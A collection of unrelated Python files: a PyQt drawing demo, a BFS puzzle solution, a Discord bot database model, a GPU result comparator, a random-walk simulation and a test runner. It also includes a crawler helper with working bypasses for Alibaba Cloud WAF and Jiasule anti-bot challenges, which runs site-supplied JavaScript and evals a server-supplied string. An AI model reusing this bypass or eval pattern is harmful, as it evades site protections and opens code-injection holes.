        self.path = path

        self.penWidth = 1
        self.rotationAngle = 0
        self.setBackgroundRole(QtGui.QPalette.Base)

    def minimumSizeHint(self):
        return QtCore.QSize(50, 50)

    def sizeHint(self):
        return QtCore.QSize(100, 100)

    def setFillRule(self, rule):
        self.path.setFillRule(rule)
        self.update()

    def setFillGradient(self, color1, color2):
        self.fillColor1 = color1
        self.fillColor2 = color2
        self.update()

    def setPenWidth(self, width):
        self.penWidth = width
        self.update()

    def setPenColor(self, color):
        self.penColor = color
        self.update()

    def setRotationAngle(self, degrees):
        self.rotationAngle = degrees
        self.update()

    def paintEvent(self, event):
        painter = QtGui.QPainter(self)
        painter.setRenderHint(QtGui.QPainter.Antialiasing)
        painter.scale(self.width() / 100.0, self.height() / 100.0)
        painter.translate(50.0, 50.0)
        painter.rotate(-self.rotationAngle)
        painter.translate(-50.0, -50.0)

        painter.setPen(QtGui.QPen(self.penColor, self.penWidth,
                QtCore.Qt.SolidLine, QtCore.Qt.RoundCap, QtCore.Qt.RoundJoin))
        gradient = QtGui.QLinearGradient(0, 0, 0, 100)
        gradient.setColorAt(0.0, self.fillColor1)
        gradient.setColorAt(1.0, self.fillColor2)
        painter.setBrush(QtGui.QBrush(gradient))
        painter.drawPath(self.path)

class Window(QtGui.QWidget):
    NumRenderAreas = 9

    def __init__(self):
        super(Window, self).__init__()

        rectPath = QtGui.QPainterPath()
        rectPath.moveTo(20.0, 30.0)
        rectPath.lineTo(80.0, 30.0)
        rectPath.lineTo(80.0, 70.0)
        rectPath.lineTo(20.0, 70.0)
        rectPath.closeSubpath()

        roundRectPath = QtGui.QPainterPath()
        roundRectPath.moveTo(80.0, 35.0)
        roundRectPath.arcTo(70.0, 30.0, 10.0, 10.0, 0.0, 90.0)
        roundRectPath.lineTo(25.0, 30.0)
        roundRectPath.arcTo(20.0, 30.0, 10.0, 10.0, 90.0, 90.0)
        roundRectPath.lineTo(20.0, 65.0)
        roundRectPath.arcTo(20.0, 60.0, 10.0, 10.0, 180.0, 90.0)
        roundRectPath.lineTo(75.0, 70.0)
        roundRectPath.arcTo(70.0, 60.0, 10.0, 10.0, 270.0, 90.0)
        roundRectPath.closeSubpath()

        ellipsePath = QtGui.QPainterPath()
        ellipsePath.moveTo(80.0, 50.0)
        ellipsePath.arcTo(20.0, 30.0, 60.0, 40.0, 0.0, 360.0)

        piePath = QtGui.QPainterPath()
        piePath.moveTo(50.0, 50.0)
        piePath.lineTo(65.0, 32.6795)
        piePath.arcTo(20.0, 30.0, 60.0, 40.0, 60.0, 240.0)
        piePath.closeSubpath()

        polygonPath = QtGui.QPainterPath()
        polygonPath.moveTo(10.0, 80.0)
        polygonPath.lineTo(20.0, 10.0)
        polygonPath.lineTo(80.0, 30.0)
        polygonPath.lineTo(90.0, 70.0)
        polygonPath.closeSubpath()

        groupPath = QtGui.QPainterPath()
        groupPath.moveTo(60.0, 40.0)
        groupPath.arcTo(20.0, 20.0, 40.0, 40.0, 0.0, 360.0)
        groupPath.moveTo(40.0, 40.0)
        groupPath.lineTo(40.0, 80.0)
        groupPath.lineTo(80.0, 80.0)
        groupPath.lineTo(80.0, 40.0)
        groupPath.closeSubpath()

        textPath = QtGui.QPainterPath()
        timesFont = QtGui.QFont("Times", 50)
        timesFont.setStyleStrategy(QtGui.QFont.ForceOutline)
        textPath.addText(10, 70, timesFont, "Qt")

        bezierPath = QtGui.QPainterPath()
        bezierPath.moveTo(20, 30)
        bezierPath.cubicTo(80, 0, 50, 50, 80, 80)

        starPath = QtGui.QPainterPath()
        starPath.moveTo(90, 50)
        for i in range(1, 5):
            starPath.lineTo(50 + 40 * cos(0.8 * i * pi),
                    50 + 40 * sin(0.8 * i * pi))
        starPath.closeSubpath()

        self.renderAreas = [RenderArea(rectPath), RenderArea(roundRectPath),
                RenderArea(ellipsePath), RenderArea(piePath),
                RenderArea(polygonPath), RenderArea(groupPath),
                RenderArea(textPath), RenderArea(bezierPath),
                RenderArea(starPath)]
        assert len(self.renderAreas) == 9

        self.fillRuleComboBox = QtGui.QComboBox()
        self.fillRuleComboBox.addItem("Odd Even", QtCore.Qt.OddEvenFill)
        self.fillRuleComboBox.addItem("Winding", QtCore.Qt.WindingFill)

        fillRuleLabel = QtGui.QLabel("Fill &Rule:")
        fillRuleLabel.setBuddy(self.fillRuleComboBox)

        self.fillColor1ComboBox = QtGui.QComboBox()
        self.populateWithColors(self.fillColor1ComboBox)
        self.fillColor1ComboBox.setCurrentIndex(
                self.fillColor1ComboBox.findText("mediumslateblue"))

        self.fillColor2ComboBox = QtGui.QComboBox()
        self.populateWithColors(self.fillColor2ComboBox)
        self.fillColor2ComboBox.setCurrentIndex(
                self.fillColor2ComboBox.findText("cornsilk"))

        fillGradientLabel = QtGui.QLabel("&Fill Gradient:")
        fillGradientLabel.setBuddy(self.fillColor1ComboBox)

        fillToLabel = QtGui.QLabel("to")
        fillToLabel.setSizePolicy(QtGui.QSizePolicy.Fixed,
                QtGui.QSizePolicy.Fixed)

        self.penWidthSpinBox = QtGui.QSpinBox()
        self.penWidthSpinBox.setRange(0, 20)

        penWidthLabel = QtGui.QLabel("&Pen Width:")
        penWidthLabel.setBuddy(self.penWidthSpinBox)

        self.penColorComboBox = QtGui.QComboBox()
        self.populateWithColors(self.penColorComboBox)
        self.penColorComboBox.setCurrentIndex(
                self.penColorComboBox.findText('darkslateblue'))

        penColorLabel = QtGui.QLabel("Pen &Color:")
        penColorLabel.setBuddy(self.penColorComboBox)

        self.rotationAngleSpinBox = QtGui.QSpinBox()
        self.rotationAngleSpinBox.setRange(0, 359)
        self.rotationAngleSpinBox.setWrapping(True)
        self.rotationAngleSpinBox.setSuffix('\xB0')

        rotationAngleLabel = QtGui.QLabel("&Rotation Angle:")
        rotationAngleLabel.setBuddy(self.rotationAngleSpinBox)

        self.fillRuleComboBox.activated.connect(self.fillRuleChanged)
        self.fillColor1ComboBox.activated.connect(self.fillGradientChanged)
        self.fillColor2ComboBox.activated.connect(self.fillGradientChanged)
        self.penColorComboBox.activated.connect(self.penColorChanged)

        for i in range(Window.NumRenderAreas):
            self.penWidthSpinBox.valueChanged[int].connect(self.renderAreas[i].setPenWidth)
            self.rotationAngleSpinBox.valueChanged[int].connect(self.renderAreas[i].setRotationAngle)

        topLayout = QtGui.QGridLayout()
        for i in range(Window.NumRenderAreas):
            topLayout.addWidget(self.renderAreas[i], i / 3, i % 3)

        mainLayout = QtGui.QGridLayout()
        mainLayout.addLayout(topLayout, 0, 0, 1, 4)
        mainLayout.addWidget(fillRuleLabel, 1, 0)
        mainLayout.addWidget(self.fillRuleComboBox, 1, 1, 1, 3)
        mainLayout.addWidget(fillGradientLabel, 2, 0)
        mainLayout.addWidget(self.fillColor1ComboBox, 2, 1)
        mainLayout.addWidget(fillToLabel, 2, 2)
        mainLayout.addWidget(self.fillColor2ComboBox, 2, 3)
        mainLayout.addWidget(penWidthLabel, 3, 0)
        mainLayout.addWidget(self.penWidthSpinBox, 3, 1, 1, 3)
        mainLayout.addWidget(penColorLabel, 4, 0)
        mainLayout.addWidget(self.penColorComboBox, 4, 1, 1, 3)
        mainLayout.addWidget(rotationAngleLabel, 5, 0)
        mainLayout.addWidget(self.rotationAngleSpinBox, 5, 1, 1, 3)
        self.setLayout(mainLayout)

        """
        for i in range(Window.NumRenderAreas):
            topLayout.addWidget(self.renderAreas[i], i / 3, i % 3)
        """

        self.fillRuleChanged()
        self.fillGradientChanged()
        self.penColorChanged()
        self.penWidthSpinBox.setValue(2)

        self.setWindowTitle("Painter Paths")

    def fillRuleChanged(self):
        rule = QtCore.Qt.FillRule(self.currentItemData(self.fillRuleComboBox))

        for i in range(Window.NumRenderAreas):
            self.renderAreas[i].setFillRule(rule)

    def fillGradientChanged(self):
        color1 = QtGui.QColor(self.currentItemData(self.fillColor1ComboBox))
        color2 = QtGui.QColor(self.currentItemData(self.fillColor2ComboBox))

        for i in range(Window.NumRenderAreas):
            self.renderAreas[i].setFillGradient(color1, color2)

    def penColorChanged(self):
        color = QtGui.QColor(self.currentItemData(self.penColorComboBox))

        for i in range(Window.NumRenderAreas):
            self.renderAreas[i].setPenColor(color)

    def populateWithColors(self, comboBox):
        colorNames = QtGui.QColor.colorNames()
        for name in colorNames:
            comboBox.addItem(name, name)

    def currentItemData(self, comboBox):
        return comboBox.itemData(comboBox.currentIndex())

    def __del__(self):
        self.renderAreas = None

if __name__ == '__main__':

    import sys

    app = QtGui.QApplication(sys.argv)
    window = Window()
    window.show()
    sys.exit(app.exec_())


# 백준 - 유기농 배추

import sys, collections

T = int(sys.stdin.readline())
tc = 0

def bfs(start, M, N):
    global visited
    dirs = ((-1,0), (1,0), (0,-1), (0,1)) # 상, 하, 좌, 우
    queue = collections.deque()
    queue.append(start)

    while queue:
        i, j = queue.popleft()

        if visited[i][j]:
            continue
        visited[i][j] = True

        for dir in dirs:
            n_i, n_j = i+dir[0], j+dir[1]

            if 0<= n_i < M and 0<=n_j <N:
                if arr[n_i][n_j] and not visited[n_i][n_j]:
                    queue.append([n_i, n_j])

while tc < T:
    M, N, K = map(int ,sys.stdin.readline().split(" "))
    arr = [[False for _ in range(N)] for _ in range(M)]
    visited = [[False for _ in range(N)] for _ in range(M)]
    answer = 0

    for _ in range(K):
        i, j = map(int ,sys.stdin.readline().split(" "))
        arr[i][j] = True

    for i in range(M):
        for j in range(N):
            if arr[i][j] and not visited[i][j]:
                answer += 1
                bfs([i,j], M, N)

    print(answer)

    tc += 1


from __future__ import annotations

from typing import List, Optional

from sqlalchemy import BigInteger, Column, Integer, String

from pie.database import database, session

class Seeking(database.base):
    __tablename__ = "fun_seeking_seeking"

    idx = Column(Integer, primary_key=True, autoincrement=True)
    guild_id = Column(BigInteger)
    channel_id = Column(BigInteger, default=None)
    message_id = Column(BigInteger, unique=True)
    user_id = Column(BigInteger)
    text = Column(String)

    @staticmethod
    def add(
        guild_id: int, channel_id: int, message_id: int, user_id: int, text: str
    ) -> Seeking:
        query = Seeking(
            guild_id=guild_id,
            channel_id=channel_id,
            message_id=message_id,
            user_id=user_id,
            text=text,
        )
        session.add(query)
        session.commit()
        return query

    @staticmethod
    def get(guild_id: int, channel_id: int, item_id: int) -> Optional[Seeking]:
        return (
            session.query(Seeking)
            .filter_by(guild_id=guild_id, channel_id=channel_id, idx=item_id)
            .one_or_none()
        )

    @staticmethod
    def remove(guild_id: int, channel_id: int, item_id: int) -> int:
        query = (
            session.query(Seeking)
            .filter_by(guild_id=guild_id, channel_id=channel_id, idx=item_id)
            .delete()
        )
        session.commit()
        return query

    @staticmethod
    def get_all(guild_id: int, channel_id: int = None) -> List[Seeking]:
        if not channel_id:
            return session.query(Seeking).filter_by(guild_id=guild_id).all()
        return (
            session.query(Seeking)
            .filter_by(guild_id=guild_id, channel_id=channel_id)
            .all()
        )

    def __repr__(self) -> str:
        return (
            f"<Seeking idx='{self.idx}' guild_id='{self.guild_id}' "
            f"channel_id='{self.channel_id}' message_id='{self.message_id}' "
            f"user_id='{self.user_id}' text='{self.text}'>"
        )

    def dump(self) -> dict:
        return {
            "guild_id": self.guild_id,
            "channel_id": self.channel_id,
            "message_id": self.message_id,
            "user_id": self.user_id,
            "text": self.text,
        }


# -*- coding: utf-8 -*-
# @Project : CrawlersTools
# @Time    : 2022/6/21 17:08
# @Author  : MuggleK
# @File    : base_requests.py

import json
import random
import re
import time

from chardet import detect
from httpx import Client, Response
from loguru import logger

from CrawlersTools.requests.proxy import get_proxies
from CrawlersTools.requests.random_ua import UserAgent

class BaseRequests(object):
    """
    A Rquests Class base on httpx

    Usage:

    ```python
    >>> base_requests = BaseRequests().base_requests
    >>> response = base_requests('https://example.org')
    ```
    """

    def base_requests(
        self,
        url: str,
        session: object = None,
        headers=UserAgent(),
        method: str = "get",
        proxies: dict = None,
        proxy_url: str = None,
        http2: bool = False,
        encoding: str = None,
        retry: int = 3,
        **kwargs
    ) -> Response:
        """
        内置ali_waf & 加速乐解密

        :param url: 请求链接
        :param session: 维持session可从外部传入
        :param headers: 请求头
        :param method:  具体请求方式
        :param proxies: ip代理，配合proxy_url可失效自动切换
        :param proxy_url:  获取代理链接
        :param http2:   是否使用http2.0协议
        :param retry:   请求重试次数，默认3次
        :param encoding:   指定编码，默认detect解析，效果同requests的apparent_encoding
        :param kwargs:  请求时需携带的其他参数
        :return: Response
        :exception: 1.代理失效&超过重试次数返回None 2.waf或加速乐解密失败返回None
        """
        for _ in range(retry):
            try:
                proxies = proxies if proxies else get_proxies(proxy_url, http2=True)
                session = session or Client(
                    http2=http2,
                    headers=headers,
                    proxies=proxies,
                    timeout=kwargs.get("timeout", 20),
                    verify=kwargs.get("verify", True),
                    follow_redirects=kwargs.get("allow_redirects", False)
                )
                response = session.request(
                    method=method.lower(),
                    url=url,
                    headers=headers,
                    content=kwargs.get("content"),
                    data=kwargs.get("data"),
                    files=kwargs.get("files"),
                    json=kwargs.get("json"),
                    params=kwargs.get("params"),
                    timeout=kwargs.get("timeout", 20),
                    follow_redirects=kwargs.get("allow_redirects", False)
                )
                response.encoding = encoding if encoding else detect(response.content)['encoding']  # chardet 更准确
                if 200 <= response.status_code < 300 or response.status_code == 412:
                    if 'arg1=' in response.text:
                        acw_tc_cookie = f'acw_tc={session.cookies.get("acw_tc")};'
                        headers["Cookie"] = headers["Cookie"] + acw_tc_cookie if headers.get("Cookie") else acw_tc_cookie
                        reg_arg1 = re.findall("var arg1='(.*)';", response.text)[0]
                        arg2 = self.ali_waf(reg_arg1)
                        headers['cookie'] += f'acw_sc__v2={arg2}'
                        continue
                    return response
                elif response.status_code == 521:
                    if 'document.cookie' in response.text:
                        cookie_key = [key for key in list(session.cookies.keys()) if key.startswith("__jsluid")][0]
                        headers["Cookie"] = headers["Cookie"] if headers.get("Cookie") else f'{cookie_key}={session.cookies.get(cookie_key)};'
                        headers["Cookie"] += f'{self.process_fuck_js(response.text)};'
                        continue
                    elif 'chars' in response.text:
                        __jsl_clearance_s = self.process_clearance(response.text)
                        headers["Cookie"] = '='.join(headers["Cookie"].split('=')[:-1]) + f'={__jsl_clearance_s};'
                        continue
                else:
                    proxies = None
                    time.sleep(random.uniform(0, 1))
                    continue
            except Exception as err:
                logger.error(f'url：{url} error：{err} proxies：{proxies}')
                proxies = None
                time.sleep(random.uniform(0, 1))
                continue

    @staticmethod
    def ali_waf(arg1):
        """
        acw_sc__v2算法
        :param arg1:
        :return:
        """
        list1 = [15, 35, 29, 24, 33, 16, 1, 38, 10, 9, 19, 31, 40, 27, 22, 23, 25, 13, 6, 11, 39, 18, 20, 8, 14, 21, 32,
                 26, 2, 30, 7, 4, 17, 5, 3, 28, 34, 37, 12, 36]
        dict1 = {}
        for i in range(len(arg1)):
            string = arg1[i]
            for j in range(len(list1)):
                if list1[j] == i + 1:
                    dict1[j] = string
        str1 = ''.join([dict1.get(i) for i in range(40)])

        str1_list = list(str1)
        str2 = "3000176000856006061501533003690027800375"
        str2_list = list(str2)
        str4 = ''
        for m in range(0, len(str1_list), 2):
            int1 = int(''.join(str1_list[m:m + 2]), 16)
            int2 = int(''.join(str2_list[m:m + 2]), 16)
            str3 = str(hex(int1 ^ int2))[2:]
            if len(str3) == 1:
                str3 = '0' + str3
            str4 += str3
        return str4

    @staticmethod
    def process_fuck_js(js_text):
        import execjs

        js_text = js_text.split(';location.href=loc')[0].split('document.cookie=')[-1]
        r = execjs.eval(js_text).split(';')[0]
        return r

    @staticmethod
    def process_clearance(html):
        import hashlib

        data = json.loads(re.findall(r'go\((.*?)\)', html)[1])
        chars_length = len(data.get('chars'))
        for i in range(chars_length):
            for j in range(chars_length):
                result = data.get('bts')[0] + data.get('chars')[i] + data.get('chars')[j] + data.get('bts')[1]
                b = eval('hashlib.{}()'.format(data.get('ha')))
                b.update(result.encode(encoding='utf-8'))
                res = b.hexdigest()
                if res == data.get('ct'):
                    return result


import json
import sys
import argparse
import os

APPROX = 0.1

def isNumber(num):
    isNum = False
    try:
        float(num)
        isNum = True
    except Exception as e:
        isNum = False
    return isNum

nameList = list()

def compareAny(self, other):
    diff = list()
    for att in self.attScalarList:
        selfAtt = getattr(self, att)
        otherAtt = getattr(other, att)
        if 'compare' in dir(selfAtt) and 'compare' in dir(otherAtt):
            nameList.append(self.name)
            nameList.append(att)
            retDiff = selfAtt.compare(otherAtt)
            if len(retDiff):
                diff += retDiff
            nameList.pop()
            nameList.pop()
            continue
        exact = True
        if isNumber(selfAtt) and isNumber(otherAtt):
            exact = False
            selfAtt = float(selfAtt)
            otherAtt = float(otherAtt)
        if (exact and selfAtt != otherAtt) or (not exact and abs(selfAtt-otherAtt)>abs(selfAtt)*APPROX):
            # print((exact and selfAtt != otherAtt), (not exact and abs(selfAtt-otherAtt)>abs(selfAtt)*APPROX), selfAtt, otherAtt, '--'*10)
            diff.append(['_'.join(nameList)+'_'+self.name+'_'+att, selfAtt, otherAtt])
    for attdName in self.attDictList:
        attDSelf = getattr(self, attdName)
        attDOther = getattr(other, attdName)
        attDSelfKeys = set(attDSelf.keys())
        attDOtherKeys = set(attDOther.keys())
        if len(attDSelfKeys.symmetric_difference(attDOtherKeys)):
            diff.append(['_'.join(nameList)+'_'+self.name+'_'+attdName+'_DifferentKeys' , list(attDSelf.keys()), list(attDOther.keys())])
        attDAll = set()
        [attDAll.add(x) for x in attDSelf]
        [attDAll.add(x) for x in attDOther]
        for attV in attDAll:
            if attV in attDSelf and attV in attDOther:
                if 'compare' in dir(attDSelf[attV]) and 'compare' in dir(attDOther[attV]):
                    nameList.append(self.name)
                    nameList.append(attdName)
                    retDiff = attDSelf[attV].compare(attDOther[attV])
                    if len(retDiff):
                        diff += retDiff
                    nameList.pop()
                    nameList.pop()
                    continue
                elif isNumber(attDSelf[attV]) and isNumber(attDOther[attV]):
                    selfAtt = float(attDSelf[attV])
                    otherAtt = float(attDOther[attV])
                    if abs(selfAtt-otherAtt)>selfAtt*APPROX:
                        diff.append(['_'.join(nameList)+'_'+self.name+'_'+attdName+'_'+attV , attDSelf[attV], attDOther[attV]])
                    continue
                else:
                    if attDSelf[attV] != attDOther[attV]:
                        diff.append(['_'.join(nameList)+'_'+self.name+'_'+attdName+'_'+attV , attDSelf[attV], attDOther[attV]])
    for attdName in self.attListList:
        selfO = getattr(self, attdName)
        othrO = getattr(other, attdName)
        selfLen = len(selfO)
        otherLen = len(othrO)
        if selfLen != otherLen:
            diff.append(['_'.join(nameList)+'_'+self.name+'_'+attdName+'_Length' , selfLen, otherLen])
            continue
        if selfO == othrO: continue
        for ind in range(selfLen):
            if 'compare' in dir(selfO[ind]) and 'compare' in dir(othrO[ind]):
                nameList.append(self.name)
                nameList.append(attdName)
                retDiff = selfO[ind].compare(othrO[ind])
                if len(retDiff):
                    diff += retDiff
                nameList.pop()
                nameList.pop()
                continue
            elif isNumber(selfO[ind]) and isNumber(othrO[ind]):
                selfAtt = float(selfO[ind])
                otherAtt = float(othrO[ind])
                if abs(selfAtt-otherAtt)>selfAtt*APPROX:
                    diff.append(['_'.join(nameList)+'_'+self.name+'_'+attdName+'_'+attV , selfO[ind], othrO[ind]])
                continue
            else:
                if selfO[ind] != othrO[ind]:
                    diff.append(['_'.join(nameList)+'_'+self.name+'_'+attdName+'_'+attV , selfO[ind], othrO[ind]])
    return diff

class App:
    class Access:
        attScalarList = ['calls', 'amount', 'CacheLineNumber', 'CacheLineUtil', 'used', 'strideSumm', 'pattern', 'accessSize', 'intensity', 'execSize', 'isSlm', 'bti'] # TODO , 'CacheLineMax', 'CacheLineMin'
        attDictList = ['stride'] # TODO
        attListList = ['distribution', 'sends', 'sourceMap'] # TODO
        def __init__(self, data):
            for att in self.attScalarList:
                setattr(self, att, data[att])
            for att in self.attDictList:
                setattr(self, att, data[att])
            for att in self.attListList:
                setattr(self, att, data[att])
            self.name = '0x0' if len(data['sends']) == 0 else str(data['sends'][0])
        def compare(self, other):
            return compareAny(self, other)
    class SendData:
        attScalarList = ['calls', 'amount', 'CacheLineNumber', 'CacheLineUtil', 'used', 'transferred', 'strideSumm', 'pattern'] # , 'CacheLineMax', 'CacheLineMin'
        attDictList = ['stride']
        attListList = ['distribution']
        def __init__(self, data):
            for att in self.attScalarList:
                setattr(self, att, data[att])
            self.stride = data['stride']
            self.distribution = data['distribution']
            self.name = str(data['name'])
        def compare(self, other):
            return compareAny(self, other)

    class AggrD:
        mems = ['Local', 'Global']
        rws = ['Read', 'Write']
        tus = ['Used', 'Transferred', 'CacheLineNumber', 'Calls']
        def getListAttributes(self):
            ls = list()
            for mem in App.AggrD.mems:
                for rw in App.AggrD.rws:
                    for tu in App.AggrD.tus:
                        ls.append('ad{}{}{}'.format(mem, rw, tu))
            return ls
        def __init__(self, data):
            self.attScalarList = self.getListAttributes()
            self.attDictList = []
            self.attListList = []
            for att in self.attScalarList:
                setattr(self, att, data[att])
            self.name = 'name'
        def compare(self, other):
            return compareAny(self, other)

    class Kernel:
        class Enqueue:
            attScalarList = ['id', 'totalThreadsExecuted', 'aggregatedDataTotal', 'aggregatedDataAvg']
            attDictList = ['sendDataTotal']
            # attDictList = []
            attListList = ['accesses']
            def __init__(self, data):
                for att in self.attScalarList:
                    setattr(self, att, data[att])
                self.sendDataTotal = dict()
                for ky in data['sendDataTotal']:
                    data['sendDataTotal'][ky]['name'] = str(ky)
                    self.sendDataTotal[ky] = App.SendData(data['sendDataTotal'][ky])
                self.aggregatedDataTotal = App.AggrD(data['aggregatedDataTotal'])
                self.aggregatedDataAvg = App.AggrD(data['aggregatedDataAvg'])
                self.accesses = list()
                for acc in data['accesses']:
                    self.accesses.append(App.Access(acc))
                self.name = str(data['id'])
            def compare(self, other):
                return compareAny(self, other)

        attScalarList = ['name', 'enqueueNum', 'accessNum']
        attDictList = ['enqueues']
        attListList = []
        def __init__(self, data):
            for att in self.attScalarList:
                setattr(self, att, data[att])
            self.enqueues = dict()
            for enqueue in data['enqueues']:
                self.enqueues[enqueue] = App.Kernel.Enqueue(data['enqueues'][enqueue])
            self.name = str(data['name'])
        def compare(self, other):
            return compareAny(self, other)

    attScalarList = ['name', 'collectPercentage', 'envVars', 'analysisVersion'] # 'sourceFiles', 'date', 'resultsDir', 'applicationBin', 'workDirectory',
    attDictList = ['kernels']
    attListList = ['parameters']
    def __init__(self, data):
        for att in App.attScalarList:
            setattr(self, att, data[att])
        self.kernels = dict()
        for kernelName in data["kernels"]:
            self.kernels[kernelName] = App.Kernel(data["kernels"][kernelName])
        self.parameters = data['parameters']
        self.name = str(data['name'])
    def __str__(self):
        string = ''
        for att in App.attScalarList:
            string += '{}:{}, '.format(att,getattr(self, att))
        return string
    def compare(self, other):
        return compareAny(self, other)

def readResults(path):
    with open(path) as f:
        data = json.load(f)
    return App(data)

def main(argv):
    parser = argparse.ArgumentParser(description='GPU Memory Access Ananlysis')
    parser.add_argument(
        '-r1',
        metavar='DIRECTORY',
        default='',
        dest='results1',
        type=str,
        help='first result')
    parser.add_argument(
        '-r2',
        metavar='DIRECTORY',
        default='',
        dest='results2',
        type=str,
        help='second result')
    parser.add_argument(
        '-f',
        metavar='DIRECTORY',
        default='',
        dest='folder',
        type=str,
        help='Report directory')

    if argv == 'sys':
        args = parser.parse_args()
    elif isinstance(argv, list):
        args = parser.parse_args(argv)
    else:
        print('Arguments not recognized')
        return -1

    results1 = readResults(args.results1)
    # print(results1)
    results2 = readResults(args.results2)
    # print(results2)

    # print('calc diff')
    diff = results1.compare(results2)

    # print txt
    print('\n\n\nDIFFERENCE:')
    print(diff.__str__().replace('[','\n['))

    if os.path.isdir(args.folder):
        # save diff to json
        with open(os.path.join(args.folder, 'compare_report.json'), 'w') as f:
            f.write(json.dumps(diff))
        # save to txt
        with open(os.path.join(args.folder, 'compare_report.txt'), 'w') as f:
            f.write(diff.__str__().replace('[','\n['))
    return len(diff)

if __name__ == '__main__':
    sys.exit(main('sys'))


import matplotlib.pyplot as plt
from mpl_toolkits.mplot3d import Axes3D
import numpy as np
import random
from matplotlib.animation import FuncAnimation
from mpl_toolkits.mplot3d.art3d import Poly3DCollection

def randomwalk3D(n, angle_degrees, escape_radius=100):
    x, y, z = np.zeros(n), np.zeros(n), np.zeros(n)
    angle_rad = np.radians(angle_degrees)
    current_direction = np.array([1, 0, 0])  # Initial direction (e.g., to the right)

    def density(x, y, z):
        # Define a density function that varies with position
        # You can modify this function to create your desired gradient
        return 1.0 / (1.0 + np.sqrt(x**2 + y**2 + z**2))

    for i in range(1, n):
        # Calculate the distance from the origin (sun)
        distance = np.sqrt(x[i - 1]**2 + y[i - 1]**2 + z[i - 1]**2)

        if distance > escape_radius:
            # If outside the escape radius, move straight in the current direction
            x[i] = x[i - 1] + current_direction[0]
            y[i] = y[i - 1] + current_direction[1]
            z[i] = z[i - 1] + current_direction[2]
        else:
            # Generate a random reflection angle within the specified range
            reflection_angle = np.random.uniform(-angle_rad, angle_rad)

            # Generate a random axis of rotation (x, y, or z)
            axis = random.choice([0, 1, 2])

            # Create a 3D rotation matrix based on the chosen axis and angle
            rotation_matrix = np.identity(3)
            if axis == 0:
                rotation_matrix = np.dot(np.array([[1, 0, 0],
                                                   [0, np.cos(reflection_angle), -np.sin(reflection_angle)],
                                                   [0, np.sin(reflection_angle), np.cos(reflection_angle)]]), rotation_matrix)
            elif axis == 1:
                rotation_matrix = np.dot(np.array([[np.cos(reflection_angle), 0, np.sin(reflection_angle)],
                                                   [0, 1, 0],
                                                   [-np.sin(reflection_angle), 0, np.cos(reflection_angle)]]), rotation_matrix)
            else:
                rotation_matrix = np.dot(np.array([[np.cos(reflection_angle), -np.sin(reflection_angle), 0],
                                                   [np.sin(reflection_angle), np.cos(reflection_angle), 0],
                                                   [0, 0, 1]]), rotation_matrix)

            # Apply the rotation to the current direction
            current_direction = np.dot(rotation_matrix, current_direction)

            # Adjust the probability of reflection based on density
            reflection_prob = density(x[i - 1], y[i - 1], z[i - 1])
            if np.random.rand() > reflection_prob:
                current_direction = -current_direction  # Reflect back

            # Update the position
            x[i] = x[i - 1] + current_direction[0]
            y[i] = y[i - 1] + current_direction[1]
            z[i] = z[i - 1] + current_direction[2]

    return x, y, z

# Number of iterations
num_iterations = int(1e3)

# Lists to store escape times for each iteration
escape_times = []
iteration_numbers = []
num_escapes = 0

# Define the sun_radius
sun_radius = int(1e2)

# 3D figure and axis for the entire plot
fig = plt.figure(figsize=(6, 6))
ax = fig.add_subplot(111, projection='3d')

# List to store the line objects for each frame
all_lines = []

# Function to initialize the animation
def init():
    for line in all_lines:
        line.set_data([], [])
        line.set_3d_properties([])

    average_escape_text.set_text('')
    escape_count_text.set_text('')

    return all_lines + [average_escape_text, escape_count_text]

# Function to calculate and update the average escape time
def update_average_escape(iteration):
    if len(escape_times) > 0:
        average_escape = sum(escape_times) / len(escape_times)
        average_escape_text.set_text(f'Average Counts to Escape: {average_escape:.2f}')
    else:
        average_escape_text.set_text('')
    return average_escape_text,

# Function to animate frames and define escape parameters
def animate(iteration):
    global num_escapes  # Add this line to indicate num_escapes is a global variable
    n_steps = int(5e4)
    reflection_angle_degrees = random.uniform(0, 180)
    x_data, y_data, z_data = randomwalk3D(n_steps, reflection_angle_degrees)

    distances = np.sqrt(x_data**2 + y_data**2 + z_data**2)
    escape_radius = int(1e2)
    escape_time = np.argmax(distances > escape_radius)

    if escape_radius < escape_time:
        num_escapes += 1

    escape_times.append(escape_time)
    iteration_numbers.append(iteration + 2)

    line, = ax.plot(x_data, y_data, z_data, '-', linewidth=0.5, alpha=0.5, color=np.random.rand(3,))
    all_lines.append(line)

    # Update the average escape text
    average_escape_text.set_text(f'Mean escape counts: {np.mean(escape_times):.2f}')

    # Update the escape count text
    escape_count_text.set_text(f'Escapes: {num_escapes} / {n_steps}')

    iteration_count_text.set_text(f'Iteration: {iteration}')

    return all_lines + [average_escape_text, escape_count_text, iteration_count_text]

# Create a text annotation for displaying average escape time and counts
average_escape_text = ax.text2D(0.005, 0.005, '', transform=ax.transAxes, fontsize=10, color='black')
escape_count_text = ax.text2D(0.005, 0.035, '', transform=ax.transAxes, fontsize=10, color='black')
iteration_count_text = ax.text2D(0.005, 0.07, '', transform=ax.transAxes, fontsize=10, color='black')

# Create the animation
ani = FuncAnimation(fig, animate, frames=num_iterations, init_func=init, interval = 0.1, blit=True, repeat=False)

# Create a sphere to represent the Sun
u = np.linspace(0, 2 * np.pi, 100)
v = np.linspace(0, np.pi, 100)
x_sun = sun_radius * np.outer(np.cos(u), np.sin(v))
y_sun = sun_radius * np.outer(np.sin(u), np.sin(v))
z_sun = sun_radius * np.outer(np.ones(np.size(u)), np.cos(v))
ax.plot_surface(x_sun, y_sun, z_sun, color='yellow', alpha=0.3)

# Define Plot
ax.set_title('Psudo Sun Simulator')

ax.set_xlim(-150, 150)
ax.set_ylim(-150, 150)
ax.set_zlim(-150, 150)

plt.show()

# Create a histogram with 1000 bins
histogram = input("Histogram plot? (y or any other key for no): ")
if histogram == 'y':
    plt.figure()
    plt.hist(escape_times, bins=1000, color='blue', alpha=0.7)
    plt.xlabel('Escape Time')
    plt.ylabel('Frequency')
    plt.title('Escape Time Histogram')
    plt.show()


from subprocess import Popen, PIPE
from os import listdir
from os.path import isfile, join
from filecmp import cmp
import time

dirs = [('error_tests', ''),
        ('Tests', ''),
	    ('ex1_Tests', ''),
        ('rotate_error_tests', '-rotate')]

for dir, args in dirs:
    print("run %s tests" % dir)
    tests = [f for f in listdir(dir) if isfile(join(dir, f)) and join(dir, f).endswith(".in")]
    for test in tests:
        if args == '':
            p = Popen(['./ex3', join(dir,test), 'b'], stdin=PIPE, stdout=PIPE, stderr=PIPE)
        else:
            p = Popen(['./ex3', join(dir, test), 'b', args], stdin=PIPE, stdout=PIPE, stderr=PIPE)
        time.sleep(0.1)
